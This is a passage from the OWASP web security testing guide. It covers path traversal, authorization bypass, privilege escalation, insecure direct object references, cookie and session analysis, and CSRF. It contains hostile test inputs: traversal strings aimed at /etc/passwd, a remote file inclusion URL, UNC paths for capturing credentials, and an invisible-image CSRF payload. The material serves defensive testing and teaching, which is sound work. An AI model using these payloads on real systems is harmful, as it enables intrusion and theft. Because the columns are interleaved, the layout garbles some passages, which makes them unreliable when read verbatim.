• URL encoding and double URL encoding • Windows NT Device Namespace: Used to refer to the Windows
device namespace. Certain references will allow access to file
%2e%2e%2f represents ../ systems using a different path.
%2e%2e/ represents ../
..%2f represents ../ • May be equivalent to a drive letter such as c:\, or even a drive volume
%2e%2e%5c represents ..\ without an assigned letter.
%2e%2e\ represents ..\
..%5c represents ..\ \\.\GLOBALROOT\Device\HarddiskVolume1\
%252e%252e%255c represents ..\
..%255c represents ..\ and so on.
• Refers to the first disc drive on the machine.
• Unicode/UTF-8 Encoding (it only works in systems that are able \\.\CdRom0\
to accept overlong UTF-8 sequences)
Authorization Testing
JSP/Servlet: java.io.File(), java.io.FileReader(), ...
Authorization is the concept of allowing access to resources only to
ASP: include file, include virtual, ...
those permitted to use them. Testing for Authorization means under-
standing how the authorization process works, and using that infor-
Using online code search engines (e.g., Ohloh Code[1]), it may also be mation to circumvent the authorization mechanism.
possible to find path traversal flaws in Open Source software pub-
lished on the Internet. Authorization is a process that comes after a successful authentica-
tion, so the tester will verify this point after he holds valid credentials,
For PHP, testers can use: associated with a well-defined set of roles and privileges. During this
kind of assessment, it should be verified if it is possible to bypass the
lang:php (include|require)(_once)?\s*[‘”(]?\s*\$_ authorization schema, find a path traversal vulnerability, or find ways
(GET|POST|COOKIE) to escalate the privileges assigned to the tester.
(b) Testing Techniques (a methodical evaluation of each attack tech- The following example will demonstrate how it is possible to show
nique used by an attacker to exploit the vulnerability) the source code of a CGI component, without using any path traversal
characters.
How to Test
Black Box testing http://example.com/main.cgi?home=main.cgi
Input Vectors Enumeration
In order to determine which part of the application is vulnerable to in-
put validation bypassing, the tester needs to enumerate all parts of The component called “main.cgi” is located in the same directory as
the application that accept content from the user. This also includes the normal HTML static files used by the application. In some cases
HTTP GET and POST queries and common options like file uploads and the tester needs to encode the requests using special characters (like
HTML forms. the “.” dot, “%00” null, ...) in order to bypass file extension controls or to
prevent script execution.
Here are some examples of the checks to be performed at this stage:
Tip: It’s a common mistake by developers to not expect every form of
• Are there request parameters which could be used for file-related encoding and therefore only do validation for basic encoded content.
operations? If at first the test string isn’t successful, try another encoding scheme.
• Are there unusual file extensions?
• Are there interesting variable names? Each operating system uses different characters as path separator:
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd • Unicode/UTF-8 Encoding (it only works in systems that are able
to accept overlong UTF-8 sequences)
It’s also possible to include files and scripts located on external web-
..%c0%af represents ../
site.
..%c1%9c represents ..\
http://example.com/index.php?file=http://www.owasp.org/
malicioustxt There are other OS and application framework specific considerations
as well. For instance, Windows is flexible in its parsing of file paths.
82
– file.txt
– file.txt... Using online code search engines (e.g., Ohloh Code[1]), it may also
– file.txt<spaces> be possible to find path traversal flaws in Open Source software
– file.txt”””” published on the Internet.
– file.txt<<<>>><
– ./././file.txt For PHP, testers can use:
– nonexistant/../file.txt
lang:php (include|require)(_once)?\s*[‘”(]?\s*\$_
(GET|POST|COOKIE)
• Windows API: The following items are discarded when used in
any shell command or API call where a string is taken as a
filename: Using the Gray Box Testing method, it is possible to discover vul-
nerabilities that are usually harder to discover, or even impossible
periods to find during a standard Black Box assessment.
spaces
Some web applications generate dynamic pages using values
and parameters stored in a database. It may be possible to insert
• Windows UNC Filepaths: Used to reference files on SMB shares. specially crafted path traversal strings when the application adds
Sometimes, an application can be made to refer to files on data to the database.
a remote UNC filepath. If so, the Windows SMB server may This kind of security problem is difficult to discover due to the fact
send stored credentials to the attacker, which can be captured the parameters inside the inclusion functions seem internal and
and cracked. These may also be used with a self-referential IP “safe” but are not in reality.
address or domain name to evade filters, or used to access files Additionally, by reviewing the source code it is possible to analyze the
on SMB shares inaccessible to the attacker, but accessible from functions that are supposed to handle invalid input: some developers
the web server. try to change invalid input to make it valid, avoiding warnings and er-
rors. These functions are usually prone to security flaws.
\\server_or_ip\path\to\file.abc
\\?\server_or_ip\path\to\file.abc Consider a web application with these instructions:
filename = Request.QueryString(“file”);
• Windows NT Device Namespace: Used to refer to the Windows Replace(filename, “/”,”\”);
device namespace. Certain references will allow access to file Replace(filename, “..\”,””);
systems using a different path.
• May be equivalent to a drive letter such as c:\, or even a drive Testing for the flaw is achieved by:
volume without an assigned letter.
filename = Request.QueryString(“file”);
\\.\GLOBALROOT\Device\HarddiskVolume1\ Replace(filename, “/”,”\”);
Replace(filename, “..\”,””);
• Refers to the first disc drive on the machine.
Tools
\\.\CdRom0\ • DotDotPwn - The Directory Traversal Fuzzer - http://dotdotpwn.
sectester.net
• Path Traversal Fuzz Strings (from WFuzz Tool) - http://code.google.
Gray Box testing com/p/wfuzz/source/browse/trunk/wordlist/Injections/Traversal.txt
When the analysis is performed with a Gray Box approach, tes- • Web Proxy (Burp Suite[2], Paros[3], WebScarab[4],OWASP: Zed At-
ters have to follow the same methodology as in Black Box Testing. tack Proxy (ZAP)[5])
However, since they can review the source code, it is possible to • Enconding/Decoding tools
search the input vectors (stage (a) of the testing) more easily and • String searcher “grep” - http://www.gnu.org/software/grep/
83
References Tools
Whitepapers • OWASP WebScarab: OWASP WebScarab Project
• phpBB Attachment Mod Directory Traversal HTTP • OWASP Zed Attack Proxy (ZAP)
POST Injection - http://archives.neohapsis.com/archives/
fulldisclosure/2004-12/0290.html[6] Testing for Privilege escalation
• Windows File Pseudonyms: Pwnage and Poetry - http://www. (OTG-AUTHZ-003)
slideshare.net/BaronZor/windows-file-pseudonyms[7] Summary
This section describes the issue of escalating privileges from one
Testing for Bypassing Authorization Schema stage to another. During this phase, the tester should verify that
(OTG-AUTHZ-002) it is not possible for a user to modify his or her privileges or roles
Summary inside the application in ways that could allow privilege escalation
This kind of test focuses on verifying how the authorization sche- attacks.
ma has been implemented for each role or privilege to get access
to reserved functions and resources. Privilege escalation occurs when a user gets access to more re-
sources or functionality than they are normally allowed, and such
For every specific role the tester holds during the assessment, for elevation or changes should have been prevented by the applica-
every function and request that the application executes during tion. This is usually caused by a flaw in the application. The result
the post-authentication phase, it is necessary to verify: is that the application performs actions with more privileges than
those intended by the developer or system administrator.
• Is it possible to access that resource even if the user is not
authenticated? The degree of escalation depends on what privileges the attacker
• Is it possible to access that resource after the log-out? is authorized to possess, and what privileges can be obtained in a
• Is it possible to access functions and resources that should be successful exploit. For example, a programming error that allows
accessible to a user that holds a different role or privilege? a user to gain extra privilege after successful authentication limits
the degree of escalation, because the user is already authorized to
Try to access the application as an administrative user and track hold some privilege. Likewise, a remote attacker gaining superus-
all the administrative functions. er privilege without any authentication presents a greater degree
of escalation.
• Is it possible to access administrative functions also if the tester Usually, people refer to vertical escalation when it is possible to
is logged as a user with standard privileges? access resources granted to more privileged accounts (e.g., ac-
• Is it possible to use these administrative functions as a user with quiring administrative privileges for the application), and to hor-
adifferent role and for whom that action should be denied? izontal escalation when it is possible to access resources granted
to a similarly configured account (e.g., in an online banking appli-
How to test cation, accessing information related to a different user).
Testing for access to administrative functions
For example, suppose that the ‘AddUser.jsp’ function is part of the How to test
administrative menu of the application, and it is possible to access Testing for role/privilege manipulation
it by requesting the following URL: In every portion of the application where a user can create infor-
mation in the database (e.g., making a payment, adding a con-
https://www.example.com/admin/addUser.jsp tact, or sending a message), can receive information (statement
of account, order details, etc.), or delete information (drop users,
messages, etc.), it is necessary to record that functionality. The
Then, the following HTTP request is generated when calling the tester should try to access such functions as another user in order
AddUser function: to verify if it is possible to access a function that should not be
permitted by the user’s role/privilege (but might be permitted as
POST /admin/addUser.jsp HTTP/1.1 another user).
Host: www.example.com
[other HTTP headers] For example:
The following HTTP POST allows the user that belongs to grp001
userID=fakeuser&role=3&group=grp001 to access order #0001:
For example: result of this vulnerability attackers can bypass authorization and
The following server’s answer shows a hidden field in the HTML access resources in the system directly, for example database re-
returned to the user after a successful authentication. cords or files.
HTTP/1.1 200 OK Insecure Direct Object References allow attackers to bypass au-
Server: Netscape-Enterprise/6.0 thorization and access resources directly by modifying the value
Date: Wed, 1 Apr 2006 13:51:20 GMT of a parameter used to directly point to an object. Such resourc-
Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; es can be database entries belonging to other users, files in the
domain=www.example.com system, and more. This is caused by the fact that the application
Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; takes user supplied input and uses it to retrieve an object without
domain= www.example.com performing sufficient authorization checks.
Cache-Control: no-cache How to Test
Pragma: No-cache
Content-length: 247 To test for this vulnerability the tester first needs to map out all
Content-Type: text/html locations in the application where user input is used to reference
Expires: Thu, 01 Jan 1970 00:00:00 GMT objects directly. For example, locations where user input is used to
Connection: close access a database row, a file, application pages and more. Next the
tester should modify the value of the parameter used to reference
<form name=”autoriz” method=”POST” action = “visual.jsp”> objects and assess whether it is possible to retrieve objects be-
<input type=”hidden” name=”profile” value=”SysAdmin”> longing to other users or otherwise bypass authorization.
<body onload=”document.forms.autoriz.submit()”>
</td> The best way to test for direct object references would be by hav-
</tr> ing at least two (often more) users to cover different owned ob-
jects and functions. For example two users each having access to
different objects (such as purchase information, private messages,
What if the tester modifies the value of the variable “profile” to etc.), and (if relevant) users with different privileges (for example
“SysAdmin”? Is it possible to become administrator? administrator users) to see whether there are direct references to
application functionality. By having multiple users the tester saves
For example: valuable testing time in guessing different object names as he can
In an environment where the server sends an error message con- attempt to access objects that belong to the other user.
tained as a value in a specific parameter in a set of answer codes,
as the following: Below are several typical scenarios for this vulnerability and the
methods to test for each:
@0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValid`-1`0`0`
Notifications`0`0`3`Command Manager`0`0`0` StateToolsBar The value of a parameter is used directly to retrieve a database
`0`0`0` record
StateExecToolBar`0`0`0`FlagsToolBar`0 Sample request:
http://foo.bar/somepage?invoice=12345
The server gives an implicit trust to the user. It believes that the
user will answer with the above message closing the session.
In this case, the value of the invoice parameter is used as an in-
In this condition, verify that it is not possible to escalate privileges dex in an invoices table in the database. The application takes the
by modifying the parameter values. In this particular example, by value of this parameter and uses it in a query to the database. The
modifying the `PVValid` value from ‘-1’ to ‘0’ (no error conditions), application then returns the invoice information to the user.
it may be possible to authenticate as administrator to the server.
Since the value of invoice goes directly into the query, by modify-
References ing the value of the parameter it is possible to retrieve any invoice
Whitepapers object, regardless of the user to whom the invoice belongs.
• Wikipedia - Privilege Escalation: http://en.wikipedia.org/wiki/ To test for this case the tester should obtain the identifier of an
Privilege_escalation invoice belonging to a different test user (ensuring he is not sup-
posed to view this information per application business logic), and
Tools then check whether it is possible to access objects without au-
• OWASP WebScarab: OWASP WebScarab Project thorization.
• OWASP Zed Attack Proxy (ZAP)
The value of a parameter is used directly to perform an opera-
Testing for Insecure Direct Object References tion in the system
(OTG-AUTHZ-004) Sample request:
Summary
Insecure Direct Object References occur when an application pro- http://foo.bar/changepassword?user=someuser
vides direct access to objects based on user-supplied input. As a
85
In this case, the value of the user parameter is used to tell the teracting with it. This is referred to this as Session Management and
application for which user it should change the password. In many is defined as the set of all controls governing state-full interaction be-
cases this step will be a part of a wizard, or a multi-step operation. tween a user and the web-based application. This broadly covers any-
In the first step the application will get a request stating for which thing from how user authentication is performed, to what happens
user’s password is to be changed, and in the next step the user upon them logging out.
will provide a new password (without asking for the current one).
HTTP is a stateless protocol, meaning that web servers respond to
The user parameter is used to directly reference the object of the client requests without linking them to each other. Even simple appli-
user for whom the password change operation will be performed. cation logic requires a user’s multiple requests to be associated with
To test for this case the tester should attempt to provide a dif- each other across a “session”. This necessitates third party solutions
ferent test username than the one currently logged in, and check – through either Off-The-Shelf (OTS) middleware and web server
whether it is possible to modify the password of another user. solutions, or bespoke developer implementations. Most popular web
application environments, such as ASP and PHP, provide developers
The value of a parameter is used directly to retrieve a file sys- with built-in session handling routines. Some kind of identification to-
tem resource ken will typically be issued, which will be referred to as a “Session ID”
Sample request: or Cookie.
http://foo.bar/showImage?img=img00011 There are a number of ways in which a web application may interact
with a user. Each is dependent upon the nature of the site, the secu-
rity, and availability requirements of the application. Whilst there are
In this case, the value of the file parameter is used to tell the ap- accepted best practices for application development, such as those
plication what file the user intends to retrieve. By providing the outlined in the OWASP Guide to Building Secure Web Applications, it
name or identifier of a different file (for example file=image00012. is important that application security is considered within the context
jpg) the attacker will be able to retrieve objects belonging to other of the provider’s requirements and expectations.
users.
Testing for Session Management Schema
To test for this case, the tester should obtain a reference the user (OTG-SESS-001)
is not supposed to be able to access and attempt to access it by Summary
using it as the value of file parameter. Note: This vulnerability is In order to avoid continuous authentication for each page of a web-
often exploited in conjunction with a directory/path traversal vul- site or service, web applications implement various mechanisms to
nerability (see Testing for Path Traversal) store and validate credentials for a pre-determined timespan. These
mechanisms are known as Session Management and while they are
The value of a parameter is used directly to access application important in order to increase the ease of use and user-friendliness
functionality of the application, they can be exploited by a penetration tester to
Sample request: gain access to a user account, without the need to provide correct
credentials.
http://foo.bar/accessPage?menuitem=12
In this test, the tester wants to check that cookies and other session
tokens are created in a secure and unpredictable way. An attacker
In this case, the value of the menuitem parameter is used to tell who is able to predict and forge a weak cookie can easily hijack the
the application which menu item (and therefore which application sessions of legitimate users.
functionality) the user is attempting to access. Assume the user is
supposed to be restricted and therefore has links available only to Cookies are used to implement session management and are de-
access to menu items 1, 2 and 3. By modifying the value of menu- scribed in detail in RFC 2965. In a nutshell, when a user accesses an
item parameter it is possible to bypass authorization and access application which needs to keep track of the actions and identity of
additional application functionality. To test for this case the tester that user across multiple requests, a cookie (or cookies) is generat-
identifies a location where application functionality is determined ed by the server and sent to the client. The client will then send the
by reference to a menu item, maps the values of menu items the cookie back to the server in all following connections until the cook-
given test user can access, and then attempts other menu items. ie expires or is destroyed. The data stored in the cookie can provide
to the server a large spectrum of information about who the user is,
In the above examples the modification of a single parameter is what actions he has performed so far, what his preferences are, etc.
sufficient. However, sometimes the object reference may be split therefore providing a state to a stateless protocol like HTTP.
between more than one parameter, and testing should be adjust-
ed accordingly. A typical example is provided by an online shopping cart. Throughout
the session of a user, the application must keep track of his identity,
References his profile, the products that he has chosen to buy, the quantity, the
Top 10 2013-A4-Insecure Direct Object References individual prices, the discounts, etc. Cookies are an efficient way to
store and pass this information back and forth (other methods are
Session Management Testing URL parameters and hidden fields).
One of the core components of any web-based application is the
mechanism by which it controls and maintains the state for a user in- Due to the importance of the data that they store, cookies are there-
86
fore vital in the overall security of the application. Being able to tam- • Which parts of the application require this cookie in order to be
per with cookies may result in hijacking the sessions of legitimate accessed and utilized?
users, gaining higher privileges in an active session, and in general
influencing the operations of the application in an unauthorized way. Find out which parts of the application need a cookie. Access a page,
then try again without the cookie, or with a modified value of it. Try to
In this test the tester has to check whether the cookies issued to cli- map which cookies are used where.
ents can resist a wide range of attacks aimed to interfere with the
sessions of legitimate users and with the application itself. The over- A spreadsheet mapping each cookie to the corresponding applica-
all goal is to be able to forge a cookie that will be considered valid tion parts and the related information can be a valuable output of this
by the application and that will provide some kind of unauthorized phase.
access (session hijacking, privilege escalation, ...).
Session Analysis
Usually the main steps of the attack pattern are the following: The session tokens (Cookie, SessionID or Hidden Field) themselves
should be examined to ensure their quality from a security perspec-
• cookie collection: collection of a sufficient number of cookie samples; tive. They should be tested against criteria such as their randomness,
• cookie reverse engineering: analysis of the cookie generation uniqueness, resistance to statistical and cryptographic analysis and
algorithm; information leakage.
• cookie manipulation: forging of a valid cookie in order to perform
the attack. This last step might require a large number of attempts, • Token Structure & Information Leakage
depending on how the cookie is created (cookie brute-force attack). The first stage is to examine the structure and content of a Session ID
provided by the application. A common mistake is to include specific
Another pattern of attack consists of overflowing a cookie. Strictly data in the Token instead of issuing a generic value and referencing
speaking, this attack has a different nature, since here testers are not real data at the server side.
trying to recreate a perfectly valid cookie. Instead, the goal is to over- If the Session ID is clear-text, the structure and pertinent data may be
flow a memory area, thereby interfering with the correct behavior of immediately obvious as the following:
the application and possibly injecting (and remotely executing) mali-
cious code. http://foo.bar/showImage?img=img00011
How to Test
Black Box Testing and Examples If part or the entire token appears to be encoded or hashed, it should
All interaction between the client and application should be tested at be compared to various techniques to check for obvious obfuscation.
least against the following criteria: For example the string “192.168.100.1:owaspuser:password:15:58”
is represented in Hex, Base64 and as an MD5 hash:
• Are all Set-Cookie directives tagged as Secure?
• Do any Cookie operations take place over unencrypted transport? Hex 3139322E3136382E3130302E313A6F77617370757
• Can the Cookie be forced over unencrypted transport? 365723A70617373776F72643A31353A3538
• If so, how does the application maintain security? Base64 MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6c
• Are any Cookies persistent? GFzc3dvcmQ6MTU6NTg=
• What Expires= times are used on persistent cookies, and are they MD5 01c2fc4f0a817afd8366689bd29dd40a
reasonable?
• Are cookies that are expected to be transient configured as such?
• What HTTP/1.1 Cache-Control settings are used to protect Cookies? Having identified the type of obfuscation, it may be possible to decode
• What HTTP/1.0 Cache-Control settings are used to protect Cookies? back to the original data. In most cases, however, this is unlikely. Even
so, it may be useful to enumerate the encoding in place from the for-
Cookie collection mat of the message. Furthermore, if both the format and obfuscation
The first step required to manipulate the cookie is to understand how technique can be deduced, automated brute-force attacks could be
the application creates and manages cookies. For this task, testers devised.
have to try to answer the following questions:
Hybrid tokens may include information such as IP address or User ID
• How many cookies are used by the application? together with an encoded portion, as the following:
Surf the application. Note when cookies are created. Make a list owaspuser:192.168.100.1:
of received cookies, the page that sets them (with the set-cookie a7656fafe94dae72b1e1487670148412
directive), the domain for which they are valid, their value, and their
characteristics.
Having analyzed a single session token, the representative sam-
• Which parts of the the application generate and/or modify the ple should be examined. A simple analysis of the tokens should
cookie? immediately reveal any obvious patterns. For example, a 32 bit
token may include 16 bits of static data and 16 bits of variable
Surfing the application, find which cookies remain constant and which data. This may indicate that the first 16 bits represent a fixed at-
get modified. What events modify the cookie? tribute of the user – e.g. the username or IP address. If the second
87
16 bit chunk is incrementing at a regular rate, it may indicate a • What portions of the Session IDs are predictable?
sequential or even time-based element to the token generation. • Can the next ID be deduced, given full knowledge of the
See examples. generation algorithm and previous IDs?
If static elements to the Tokens are identified, further samples Cookie reverse engineering
should be gathered, varying one potential input element at a time. Now that the tester has enumerated the cookies and has a gen-
For example, log in attempts through a different user account or eral idea of their use, it is time to have a deeper look at cookies
from a different IP address may yield a variance in the previously that seem interesting. Which cookies is the tester interested in?
static portion of the session token. A cookie, in order to provide a secure method of session man-
agement, must combine several characteristics, each of which is
The following areas should be addressed during the single and aimed at protecting the cookie from a different class of attacks.
multiple Session ID structure testing:
These characteristics are summarized below:
• What parts of the Session ID are static?
• What clear-text confidential information is stored in the Session [1] Unpredictability: a cookie must contain some amount of hard-
D? E.g. usernames/UID, IP addresses to-guess data. The harder it is to forge a valid cookie, the harder is
• What easily decoded confidential information is stored? to break into legitimate user’s session. If an attacker can guess the
• What information can be deduced from the structure of the cookie used in an active session of a legitimate user, they will be
Session ID? able to fully impersonate that user (session hijacking). In order to
• What portions of the Session ID are static for the same log in make a cookie unpredictable, random values and/or cryptography
conditions? can be used.
• What obvious patterns are present in the Session ID as a whole, [2] Tamper resistance: a cookie must resist malicious attempts
or individual portions? of modification. If the tester receives a cookie like IsAdmin=No,
it is trivial to modify it to get administrative rights, unless the ap-
Session ID Predictability and Randomness plication performs a double check (for instance, appending to the
Analysis of the variable areas (if any) of the Session ID should be cookie an encrypted hash of its value)
undertaken to establish the existence of any recognizable or pre- [3] Expiration: a critical cookie must be valid only for an appropri-
dictable patterns. These analyses may be performed manually and ate period of time and must be deleted from the disk or memory
with bespoke or OTS statistical or cryptanalytic tools to deduce afterwards to avoid the risk of being replayed. This does not apply
any patterns in the Session ID content. Manual checks should in- to cookies that store non-critical data that needs to be remem-
clude comparisons of Session IDs issued for the same login condi- bered across sessions (e.g., site look-and-feel).
tions – e.g., the same username, password, and IP address. [4] “Secure” flag: a cookie whose value is critical for the integrity
of the session should have this flag enabled in order to allow its
Time is an important factor which must also be controlled. High transmission only in an encrypted channel to deter eavesdropping.
numbers of simultaneous connections should be made in order to
gather samples in the same time window and keep that variable The approach here is to collect a sufficient number of instances
constant. Even a quantization of 50ms or less may be too coarse of a cookie and start looking for patterns in their value. The ex-
and a sample taken in this way may reveal time-based compo- act meaning of “sufficient” can vary from a handful of samples,
nents that would otherwise be missed. if the cookie generation method is very easy to break, to several
thousands, if the tester needs to proceed with some mathemati-
Variable elements should be analyzed over time to determine cal analysis (e.g., chi-squares, attractors. See later for more infor-
whether they are incremental in nature. Where they are incremen- mation).
tal, patterns relating to absolute or elapsed time should be investi-
gated. Many systems use time as a seed for their pseudo-random It is important to pay particular attention to the workflow of the
elements. Where the patterns are seemingly random, one-way application, as the state of a session can have a heavy impact on
hashes of time or other environmental variations should be con- collected cookies. A cookie collected before being authenticated
sidered as a possibility. Typically, the result of a cryptographic can be very different from a cookie obtained after the authenti-
hash is a decimal or hexadecimal number so should be identifiable. cation.
In analyzing Session ID sequences, patterns or cycles, static ele- Another aspect to keep into consideration is time. Always record
ments and client dependencies should all be considered as pos- the exact time when a cookie has been obtained, when there is
sible contributing elements to the structure and function of the the possibility that time plays a role in the value of the cookie (the
application. server could use a time stamp as part of the cookie value). The
time recorded could be the local time or the server’s time stamp
• Are the Session IDs provably random in nature? Can the resulting included in the HTTP response (or both).
values be reproduced?
• Do the same input conditions produce the same ID on a When analyzing the collected values, the tester should try to figure
subsequent run? out all variables that could have influenced the cookie value and
• Are the Session IDs provably resistant to statistical or try to vary them one at the time. Passing to the server modified
cryptanalysis? versions of the same cookie can be very helpful in understanding
• What elements of the Session IDs are time-linked? how the application reads and processes the cookie.
88
Examples of checks to be performed at this stage include: dictable (don’t use linear algorithms based on predictable variables
such as the client IP address). The use of cryptographic algorithms
• What character set is used in the cookie? Has the cookie a with key length of 256 bits is encouraged (like AES).
numeric value? alphanumeric? hexadecimal? What happens if
the tester inserts in a cookie characters that do not belong to the • Token length
expected charset? Session ID will be at least 50 characters length.
• Is the cookie composed of different sub-parts carrying different
pieces of information? How are the different parts separated? • Session Time-out
With which delimiters? Some parts of the cookie could have a Session token should have a defined time-out (it depends on the crit-
higher variance, others might be constant, others could assume icality of the application managed data)
only a limited set of values. Breaking down the cookie to its base
components is the first and fundamental step. • Cookie configuration:
• non-persistent: only RAM memory
An example of an easy-to-spot structured cookie is the following: • secure (set only on HTTPS channel):
Set Cookie: cookie=data; path=/; domain=.aaa.it; secure
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=11205145 • HTTPOnly (not readable by a script):
21:S=j3am5KzC4v01ba3q Set Cookie: cookie=data; path=/; domain=.aaa.it; HTTPOnly
Description of Session Management Countermeasures Once the tester has an understanding of how cookies are set,
See the OWASP articles on Session Management Countermea- when they are set, what they are used for, why they are used, and
sures. their importance, they should take a look at what attributes can be
set for a cookie and how to test if they are secure. The following
How to Avoid Session Management Vulnerabilities is a list of the attributes that can be set for each cookie and what
See the OWASP Development Guide article on how to Avoid Ses- they mean. The next section will focus on how to test for each
sion Management Vulnerabilities. attribute.
How to Review Code for Session Management| Vulnerabilities • secure - This attribute tells the browser to only send the cookie
See the OWASP Code Review Guide article on how to Review Code if the request is being sent over a secure channel such as HTTPS.
for Session Management Vulnerabilities. This will help protect the cookie from being passed over unen-
crypted requests. If the application can be accessed over both
Testing for cookies attributes (OTG-SESS-002) HTTP and HTTPS, then there is the potential that the cookie can
Summary be sent in clear text.
Cookies are often a key attack vector for malicious users (typically • HttpOnly - This attribute is used to help prevent attacks such
targeting other users) and the application should always take due as cross-site scripting, since it does not allow the cookie to be
diligence to protect cookies. This section looks at how an applica- accessed via a client side script such as JavaScript. Note that not
tion can take the necessary precautions when assigning cookies, all browsers support this functionality.
and how to test that these attributes have been correctly config- • domain - This attribute is used to compare against the domain
ured. of the server in which the URL is being requested. If the domain
The importance of secure use of Cookies cannot be understated, matches or if it is a sub-domain, then the path attribute will be
especially within dynamic web applications, which need to main- checked next.
tain state across a stateless protocol such as HTTP. To understand
the importance of cookies it is imperative to understand what Note that only hosts within the specified domain can set a cookie
they are primarily used for. These primary functions usually con- for that domain. Also the domain attribute cannot be a top level
sist of being used as a session authorization and authentication domain (such as .gov or .com) to prevent servers from setting ar-
token or as a temporary data container. Thus, if an attacker were bitrary cookies for another domain. If the domain attribute is not
able to acquire a session token (for example, by exploiting a cross set, then the host name of the server that generated the cookie is
site scripting vulnerability or by sniffing an unencrypted session), used as the default value of the domain.
then they could use this cookie to hijack a valid session.
For example, if a cookie is set by an application at app.mydomain.
Additionally, cookies are set to maintain state across multiple re- com with no domain attribute set, then the cookie would be re-
quests. Since HTTP is stateless, the server cannot determine if submitted for all subsequent requests for app.mydomain.com
a request it receives is part of a current session or the start of and its sub-domains (such as hacker.app.mydomain.com), but not
a new session without some type of identifier. This identifier is to otherapp.mydomain.com. If a developer wanted to loosen this
very commonly a cookie although other methods are also possi- restriction, then he could set the domain attribute to mydomain.
ble. There are many different types of applications that need to com. In this case the cookie would be sent to all requests for app.
keep track of session state across multiple requests. The primary mydomain.com and its sub domains, such as hacker.app.mydo-
one that comes to mind would be an online store. As a user adds main.com, and even bank.mydomain.com. If there was a vulner-
multiple items to a shopping cart, this data needs to be retained able server on a sub domain (for example, otherapp.mydomain.
in subsequent requests to the application. Cookies are very com- com) and the domain attribute has been set too loosely (for exam-
monly used for this task and are set by the application using the ple, mydomain.com), then the vulnerable server could be used to
Set-Cookie directive in the application’s HTTP response, and is harvest cookies (such as session tokens).
usually in a name=value format (if cookies are enabled and if they
are supported, as is the case for all modern web browsers). Once • path - In addition to the domain, the URL path that the cookie
an application has told the browser to use a particular cookie, the is valid for can be specified. If the domain and path match, then
browser will send this cookie in each subsequent request. A cookie the cookie will be sent in the request. Just as with the domain at-
can contain data such as items from an online shopping cart, the tribute, if the path attribute is set too loosely, then it could leave
price of these items, the quantity of these items, personal infor- the application vulnerable to attacks by other applications on the
mation, user IDs, etc. same server.
For example, if the path attribute was set to the web server root
Due to the sensitive nature of information in cookies, they are typ- “/”, then the application cookies will be sent to every application
ically encoded or encrypted in an attempt to protect the informa- within the same domain.
tion they contain. Often, multiple cookies will be set (separated by • expires - This attribute is used to set persistent cookies, since
a semicolon) upon subsequent requests. For example, in the case the cookie does not expire until the set date is exceeded. This
of an online store, a new cookie could be set as the user adds mul- persistent cookie will be used by this browser session and sub-
tiple items to the shopping cart. Additionally, there will typically sequent sessions until the cookie expires. Once the expiration
be a cookie for authentication (session token as indicated above) date has exceeded, the browser will delete the cookie. Alterna-
once the user logs in, and multiple other cookies used to identify tively, if this attribute is not set, then the cookie is only valid in
the items the user wishes to purchase and their auxiliary informa- the current browser session and the cookie will be deleted when
tion (i.e., price and quantity) in the online store type of application. the session ends.
90
lated information such as cookies and http authentication infor- the link appears in content hosted elsewhere (another web site,
mation; an HTML email message, etc.) and points to a resource of the ap-
[2] Knowledge by the attacker of valid web application URLs; plication. If the user clicks on the link, since it was already authen-
[3] Application session management relying only on information ticated by the web application on site, the browser will issue a GET
which is known by the browser; request to the web application, accompanied by authentication in-
[4] Existence of HTML tags whose presence cause immediate ac- formation (the session id cookie). This results in a valid operation
cess to an http[s] resource; for example the image tag img. performed on the web application and probably not what the user
expects to happen. Think of a malicious link causing a fund trans-
Points 1, 2, and 3 are essential for the vulnerability to be present, fer on a web banking application to appreciate the implications.
while point 4 is accessory and facilitates the actual exploitation,
but is not strictly required. By using a tag such as img, as specified in point 4 above, it is not
even necessary that the user follows a particular link. Suppose the
Point 1) Browsers automatically send information which is used attacker sends the user an email inducing him to visit an URL re-
to identify a user session. Suppose site is a site hosting a web ferring to a page containing the following (oversimplified) HTML:
application, and the user victim has just authenticated himself to
site. In response, site sends victim a cookie which identifies re- <html><body>
quests sent by victim as belonging to victim’s authenticated ses-
sion. Basically, once the browser receives the cookie set by site, it ...
will automatically send it along with any further requests directed
to site. <img src=”https://www.company.example/action” width=”0”
height=”0”>
Point 2) If the application does not make use of session-related
information in URLs, then it means that the application URLs, ...
their parameters, and legitimate values may be identified (either
by code analysis or by accessing the application and taking note of </body></html>
forms and URLs embedded in the HTML/JavaScript).
Point 3) ”Known by the browser” refers to information such as What the browser will do when it displays this page is that it will
cookies, or http-based authentication information (such as Basic try to display the specified zero-width (i.e., invisible) image as well.
Authentication; and not form-based authentication), which are This results in a request being automatically sent to the web ap-
stored by the browser and subsequently resent at each request plication hosted on site. It is not important that the image URL
directed towards an application area requesting that authentica- does not refer to a proper image, its presence will trigger the re-
tion. The vulnerabilities discussed next apply to applications which quest specified in the src field anyway. This happens provided that
rely entirely on this kind of information to identify a user session. image download is not disabled in the browsers, which is a typical
configuration since disabling images would cripple most web ap-
Suppose, for simplicity’s sake, to refer to GET-accessible URLs plications beyond usability.
(though the discussion applies as well to POST requests). If victim
has already authenticated himself, submitting another request The problem here is a consequence of the following facts:
causes the cookie to be automatically sent with it (see picture,
where the user accesses an application on www.example.com). • there are HTML tags whose appearance in a page result in
automatic http request execution (img being one of those);
• the browser has no way to tell that the resource referenced by
img is not actually an image and is in fact not legitimate;
• image loading happens regardless of the location of the alleged
image, i.e., the form and the image itself need not be located
in the same host, not even in the same domain. While this is
a very handy feature, it makes difficult to compartmentalize
applications.
The GET request could be originated in several different ways: It is the fact that HTML content unrelated to the web applica-
tion may refer components in the application, and the fact that
• by the user, who is using the actual web application; the browser automatically composes a valid request towards the
• by the user, who types the URL directly in the browser; application, that allows such kind of attacks. As no standards are
